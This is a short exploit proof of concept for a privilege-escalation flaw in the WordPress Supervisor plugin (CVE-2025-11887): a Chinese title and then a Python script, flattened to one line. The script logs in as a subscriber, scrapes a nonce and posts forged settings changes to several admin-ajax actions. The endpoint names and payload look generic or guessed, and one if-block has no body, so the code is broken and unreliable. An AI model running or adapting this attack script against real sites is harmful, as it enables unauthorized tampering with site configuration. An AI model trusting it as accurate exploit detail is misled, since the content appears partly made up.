CVE-2025-11887 WordPress Supervisor插件权限绕过漏洞

import requests import sys # CVE-2025-11887 PoC - WordPress Supervisor Plugin Authenticated Privilege Escalation # Target: WordPress site with Supervisor plugin <= 1.3.2 # Authentication: Requires subscriber-level account or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_wpnonce(login_session): """Extract nonce from WordPress admin page for AJAX requests""" resp = login_session.get(f"{TARGET_URL}/wp-admin/admin.php?page=supervisor") import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', resp.text) if nonce_match: return nonce_match.group(1) # Fallback: try to get nonce from AJAX API return "" def exploit_supervisor_privilege_escalation(): """ Exploit missing capability checks in Supervisor plugin AJAX functions. This PoC demonstrates how a subscriber-level user can modify plugin settings. """ session = requests.Session() # Step 1: Authenticate with WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } resp = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Successfully authenticated as subscriber") # Step 2: Get valid nonce for AJAX requests nonce = get_wpnonce(session) if not nonce: print("[-] Failed to obtain valid nonce") # Try direct exploitation without nonce (some endpoints may not require it) # Step 3: Exploit missing authorization in AJAX handlers ajax_endpoints = [ 'supervisor_update_settings', 'supervisor_save_config', 'supervisor_modify_options' ] for endpoint in ajax_endpoints: exploit_data = { 'action': endpoint, 'nonce': nonce, 'settings': '{"malicious_config": true}', '_wp_http_referer': f"{TARGET_URL}/wp-admin/admin.php?page=supervisor" } resp = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data, headers={'X-Requested-With': 'XMLHttpRequest'} ) if resp.status_code == 200: print(f"[+] Sent exploit request to {endpoint}") print(f" Response: {resp.text[:200]}") print("[*] Exploitation complete - check plugin settings for unauthorized changes") return True if __name__ == "__main__": exploit_supervisor_privilege_escalation()